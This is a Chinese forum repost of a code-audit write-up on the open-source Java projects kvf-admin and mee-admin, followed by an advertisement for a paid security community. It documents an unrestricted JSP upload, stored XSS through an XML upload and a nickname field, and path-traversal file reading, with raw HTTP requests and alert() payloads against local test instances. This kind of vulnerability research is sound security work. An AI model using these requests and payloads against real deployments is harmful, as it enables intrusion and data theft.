tsx81429 发表于 2024-10-11 10:05:17

代码审计指南 - Github开源Java项目

代码审计指南 - Github开源Java项目


kvf-admin代码审计
挑选Java语言开辟的开源Github项目来代码审计,第一个是kvf-admin

https://img-blog.csdnimg.cn/img_convert/99fe35c5715bc568c3ce6259f940715c.png


[*]
项目地址:https://github.com/kalvinGit/kvf-admin?tab=readme-ov-file
Java后端启动配景之后的登录页面如下:

https://img-blog.csdnimg.cn/img_convert/db84c22780006ef4bed549f0571b3ae9.png
恣意文件上传

登录配景,在资本资料 - 用户头像处可以上传职员文件,此处没有限定格式和内容

https://img-blog.csdnimg.cn/img_convert/27a0c7b2c392296369b74f05a2ed0f1f.png
对应的调用的方法为fileUpload

https://img-blog.csdnimg.cn/img_convert/1051763095e54f68b42c61de8bf58695.png

https://img-blog.csdnimg.cn/img_convert/2abd67f07639ef02be84accbe4458530.png
上传没有过滤文件后缀和内容
直接上传获取路径,数据包如下:


[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
POST /common/fileUpload HTTP/1.1Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Connection: keep-aliveContent-Length: 703477Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHpqxuxq5RM32xO3VCookie: JSESSIONID=2648996e-59d9-4a81-8562-66e136334abb; rememberMe=WwDVuhLMSgLXB47hXFmIsDUCi1wLlcoWt/8lZNdHJH1vKAYEENnN+WmKi5KzrCu2a2QvAbrQD0ZK4QOLa2CidYfaF27zuDvbWfUdRtzJiOys7fG5wv31Crnp5hk8mxaLjEL9gffgnFO6est/iK/4FcMl4+/0hgqPwAwZRz9J+m/noyNGmcMkDDO9yAPXFluiHTib92i1qHU2liZ+YT2uYkVdT0/moBEroItpIyeqNpoes0wNhZ9OIkdwCCNoHlPWo1QZvCglh5XlGF0iI7jsnDXZAUEcPzVyHh3cryzKcVGK4/VV/v2ozpO4U8V77w1FT3Ad08EDTa/fR6EcC4tWTA1vRlzhkVSBW7NUqR/3hlzPaaHiYO/jPQSNwB4aPHGz8L8HimuUhKgzd+U63Q9ItRAjiNLMummYtKruiopOd77GNxsVWMsZIbvpeNwN8ML8rRAEEjV4QdR0HQODio/ov0UW4lHIUya6gvB2V2/ZtfZaOjtP5qewmGgqFfbGmnEEuw5dZbvz9/el10I1UTw4O7g2HCOCFE/XLE6R5DCx2TQ5zap5jJnKDtB4Y6Vt0JOqx33kukcYcaYIrSQm9XDFBsOG1lhMFkNTa+UDoiqb3lzX3e4Xli2jEg890vmawZNkDBuf5fxOH9LR0NiV7uhMol4pCmZrs9KcPRnvT7UuJxb8vJ3Q3+RlSnWLIEkfuvYhf5Y0STO/D7AAxM1rHQxYr2gdW3KvU85dPzFA6KEdeMT2ZZjXpxWRleySBGDp8EBfoBdrYT7dkI1XVF9qAqu2EXA/J2y2LTkZiNaysVge3VAeyvaijsFjKREQ+Edz9z6GeXlevfkqJ4Aur7ifOeor/vKvU4vTQxy+hMJDSoHPbwazBFyyXdjGpypc0lJm+3Va8zNI+wRu43KS7lTTup4WO+K+7+P0ZVSvY7zwLzUQsQZ7MPYFqpkKhn13SqwFTFull6QCGpBnT87PlTrUtRTY2bGWmsZiyhpGbOsSfveMh9SCeUEEs5ZPcwzCZHJL85/8tWvUnT7OXcZj9vw+rp/Ks6ArbzzfsJIo34FqYRTM6fxT5Y5bQPdw5d50L9Y2x1xMH9U8caSMYv06ZbuaYXGDkkVE3K2ecrK8FZMrYAt3fF1fAzIEhhv53FjJAcPviW+nXtHSv4aojAQh8b0jaLocmQCbRgEmxOQf6aqgxnNpLua5Cj9TthYdlfU/dmZWxrzsrGxaTcEksY2MK/sj9GVmYae0yRJxGSSniyLOKqo3qadGwfPbAgVw8DsWaAKD1VaBvROXG68t6+wacBa1ge3kGrLRRXVM3IggECOdWl1EfY8wklQsdktY+CbFsAnnKlby7+ac9D8QnXx9LCyJZR40kviAdRTjyy9gB8IcLTwYgp5Ro7eP8LLRU/QRIfguRs3J/B60DfHI7gzrf8NDWKaKnmpXjo2zR8JhyFt+8e7z5ySTEhpocr/ZWLHzPA/yULIbjnIweF2W68X43A6uAMTz4zK0wW8Ls7izZ34yz8wB1cQG6dT/uug82zcIQZ6Ux90f6QteQ9tYsCmNQvHnvKJq9GDO5p/hzT05RK8=Host: 127.0.0.1:89Origin: http://127.0.0.1:89Referer: http://127.0.0.1:89/sys/user/infoSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestsec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryHpqxuxq5RM32xO3VContent-Disposition: form-data; name="file"; filename="test.jsp"Content-Type: image/jpeg
test123------WebKitFormBoundaryHpqxuxq5RM32xO3VContent-Disposition: form-data; name="type"
avatar------WebKitFormBoundaryHpqxuxq5RM32xO3V--
https://img-blog.csdnimg.cn/img_convert/a97b19ca6ed636689517a953aa1bbccb.png
上传乐成后返回路径,然后根据读取文件访问的方法哀求对应路径

https://img-blog.csdnimg.cn/img_convert/58b2f86a8aa89b8d3a33f38918a6a227.png
哀求访问/common/static/avatar/20240319/test.jsp,验证上传乐成

https://img-blog.csdnimg.cn/img_convert/8056933943dda6179f420d32cde0eb0b.png
存储型xss

此处Java版Ueditor文件可以上传xml文件,造成的XSS毛病
https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEXTCGqBpVJTiazozCg0b3qBWCmthGIbFUrQzb3Gich02pdbaQwoBNOTdqxOywyLibdXlYdNp1BqicicicgKKWaFXUFnA%2F640&pos_id=sMV1ee66
文件上传方法对应如下

https://img-blog.csdnimg.cn/img_convert/fcd551d268743ba33a0b01085014e3a9.png
查看Ueditor设置文件config.json设置文件,xml后缀格式未被禁用,可以上传xss页面

https://img-blog.csdnimg.cn/img_convert/7b30e7d46c8f9e9348fc1b3565bd676a.png
调用对应的uploadfile方法,上传数据包如下:


[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
POST /ueditor/upload?configPath=ueditor/config.json&action=uploadfile HTTP/1.1Host: 192.168.8.28:89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=707bfffa-49cc-49ff-acd0-8dd285701b07; rememberMe=voFiAKGY4BjwzQlWUvQRuxYPzFLdbUyJnX6u0evTdkxG8FjTc97O7yMZkB8UVL5335fUkKu0yiX6cPevGZ5578ClchkJrILtVy6k9IwLYQVlJ9v0a+2ysULMIZgvbKb/IU5AxC26iN+wcPd0KDWNdiXfItrNSFbANbHe39Uw9ldqwyp7gmSwjy9uFB8NCioDhBIUtCvqDZ4IfJp9aXsTgvJJTw45Yg/CCNbr4PI8iyqmW1BLKX8nqZOzXiNk0MfvhC3NikwLJ4Iz6Hgmx5BPhqOgxQosK5p5FmZYnGXf7kjJ3Rjmm2pzJSt35Plucv2CB9phiCO71vqyLt38mUF4l4hbAuVwvqN5AuO3raOA9y1An3p1SAraoNwYXQ/QRgWsTCOCF71In5xmWRB0ulEr98v3q8wzbPEzsIcDgdBlxMR0X2XMbr7Y2aCIR8pkGGyAENl9yXYA3VW157EyDGA1exY1kRUqZI4ndSpW1jlqWssHjKM2FvPtnRiTXBpJEj5RkSUTSxCyrv4zujObG4IWOT5L0EfRZbTcDe4jvtvzwN5Kx3eTJVjK09vMs5m8WNwdpLRkX32MH0rQcOPLvDAkXwVX/MFvQcU0TrMYnW7T08Ot4lmhRy/iU9dv4bX4Q6Oxpsurp1mRcuJ4N7u5zw6OBZZEyRe5bk8tKFigCvbWE0rw5WQl/0eS+YylyUz9FLf1uYGWbh1k74PXglVFQ3fP1z9EkB1Ib4BCkGzUIkliVcbSebmkZwZItH0YW29/4BmtVHGllUxsSo64oUp9ZNe7G5Ex4ckPOMkh/tiq2+5j9wksOpsf+V+G8RMu1kbUfzFx+4cSY0zJN9f1yEYHCLN7E8u51MZ/OPG/mtWqcPHuIGgCLlJD9Ih3kGGMPTinkGEDkHJmHZfFGohQaEzc0Q3jYi1s+Eoxq+geWE70TQRrEFv41ukogBfV9x6ThvkSrihe4GA/0hw1pP8+58TVB56q2DOLNh1viGqpbO2ppi3Tx7wR8niwQ5Ty1VGcNtU2ecOwFrTIQge0ELMC4JZ65sdsAla2n+tv0SZjQfoysjPQoLwK4AsQQ5VmSpY46h6pTJ5zbETEtQMd+70xOE4ntem5xWfUaJzGV90zzx5I+YklqSTjsnSUC2Ezg51P6qFK2B0IyjJ0+Tqb92LcnHVmCM8ChOynVhmRnlflheEZRjMpLigCKcizx2tA4PnLEH9zf5rpZtu7QAvE5IdtmQERfEjpaWGNnRySf1bmD06h0XsV8oSRSlKqMVNm35Qe/yM7br4NXdC44kfZm4+z+3+7nacfq0ugyhWM1b2gX3FKHkxTwDEfyQdGp9NHorvSjcMvA8RW3ApckFZycfm2JnArlyw95Eq42uoZqdcB/LqlRNinjljjqZM99S511T/bZWpvFD+bSXp5xznDDJOyOkhPSUAV63jnlRn8atl2xQq2soMyPeI2HevgvO2RpRjtCTnx0l1wKE9ZERr5YGMoPLgDuou76y9xN1b0LDdshPTdUoPu694JRwDOoeoqmIDCIuQfJa89hulN2mDOeoYB347ZmO+Eh1KFDYlP1ytBnibbAccept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Upgrade-Insecure-Requests: 1Origin: http://192.168.8.28:89Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Length: 2061352
------WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Disposition: form-data; name="upfile"; filename="test.xml"Content-Type: image/jpeg
<html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);</something:script></body></html>------WebKitFormBoundaryhRtIv7Zw4UrVozpE--
https://img-blog.csdnimg.cn/img_convert/e228e4a651d36ce9be2b0e2ecfae6da8.png
上传带有xss语句的xml文件

https://img-blog.csdnimg.cn/img_convert/456d806baec8da5d262f306729e86590.png
读取恶意文件乐成上传

https://img-blog.csdnimg.cn/img_convert/04026f358cc2d4719103f5bd62bd4f2b.png

Mee-admin v1.6审计
第二个项目名称为mee-admin,也是Java开辟的后端

https://img-blog.csdnimg.cn/img_convert/3322a65b80f32ce87e5d34c222cd4c27.png


[*]
[*]
项目地址:https://github.com/funnyzpc/mee-admin审计版本v1.6:https://github.com/funnyzpc/mee-admin/releases/tag/1.6
启动设置一下,这里我指定使用application-mysql.propertities设置文件

https://img-blog.csdnimg.cn/img_convert/e8ac1aed6381b593133323df3b07020f.png
改下文件目次到C盘

https://img-blog.csdnimg.cn/img_convert/6f7e2053164f9d669dba373e7317b1fa.png
存储型XSS
登录页面如下

https://img-blog.csdnimg.cn/img_convert/295548d320c60b069155887d40cc3f33.png
使用admin/admin登录进入系统
点击用户名处,进入用户中央处。在用户昵称处输入恶意xss代码闭合

https://img-blog.csdnimg.cn/img_convert/95c3be30039c851724227ad1de394671.png
输入如下内容


[*]
超级管理员</a><a><img src=1 onerror=alert(/xss/)>
https://img-blog.csdnimg.cn/img_convert/208402cf35ce73cfc4109f5c540afef3.png
点击更新,然后重新登录下
进来会发现恶意xss语句被渲染进网页里面

https://img-blog.csdnimg.cn/img_convert/3ef8ac3e0f11397966f2ee301e2eeaa9.png

https://img-blog.csdnimg.cn/img_convert/fd472f92da964b0ee5930b5653418d08.png
恣意文件读取
在系统管理的文件管理中,文件生存路径为下载路径,点击后会调用下载方法

https://img-blog.csdnimg.cn/img_convert/9659e859370048dba3352a64635b982e.png
毛病代码在CommonFileController.java里面
download方法做了目次穿越的检测,但是没有竣事return

https://img-blog.csdnimg.cn/img_convert/1c81e1bac3f2abae44e5880111a2b621.png
只是防止浏览器表现,但是防不了数据包中的恣意文件读取

https://img-blog.csdnimg.cn/img_convert/000f07e8305bf5182f5e652a55eaa020.png
造成恣意文件读取毛病,例如读取C:\Windows\win.ini文件

https://img-blog.csdnimg.cn/img_convert/037227cb064adfecb904c8fca9a9bbb1.png


Freebuf知识大陆帮会
0x01 社区简介

社区中包含有重要讲解系统化从基础入门到实战毛病挖掘的教程,其中包含团队自整的挖掘留意点和案例。其中还包含分享的渗透经验、SRC毛病案例、代码审计、挖洞思路等高价值资源。
● 笔记重要根据毛病原理,结合实战的毛病案例,分析毛病的挖掘方法和毛病成因。
汗青笔记部门一览

https://img-blog.csdnimg.cn/img_convert/d497716bbc92b097d2cad5003b2836ce.png

https://img-blog.csdnimg.cn/img_convert/59fd416774bef5be739597a07032862b.png
0x02 独有服务

1.  各类内部网络安全攻防、CTF角逐信息、挖洞工具、靶场资源;
2.  专题更新毛病挖掘中的小Tips及实战案例
3.  攻防思维导图,0基础开启网络安全学习之路;
4.  遇到任何技能题都快速提问与讨论交流的思路;
5.  内部CTF大佬、海外SRC毛病挖掘大佬、群主群内在线解答;
6.  组织队伍参与各类SRC挖掘活动;


0x03 团队交流群


https://img-blog.csdnimg.cn/img_convert/cce128dfaf8a12b224c062e4e5bfbdbd.jpeg

0x04 帮会技能保证

帮主:chobits02
● 「安全渗透感知各人族」的帮主
● 安全团队Code4th创建人
● 资深安全专家,2年网安经验,1.5年后端开辟经验
● 拥有丰富的SRC挖掘、应急响应、安全运营、网络攻防等方面经验


0x05 加入方式

FreeBuf知识大陆2周年庆啦
现 在 49.9 元 享 永 久 会 员!

优惠机会难过,扫二维码加入吧
⬇️

https://img-blog.csdnimg.cn/img_convert/ed70ebbc8bbea530a43b87ef53f14f64.png

代码审计1
渗透测试3
阅读 90









写留言





https://img-blog.csdnimg.cn/img_convert/b098728b7bd2f42b23adb0e3f3713d2a.png
Code4th安全团队
29在看写留言

写留言
留言
暂无留言

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 代码审计指南 - Github开源Java项目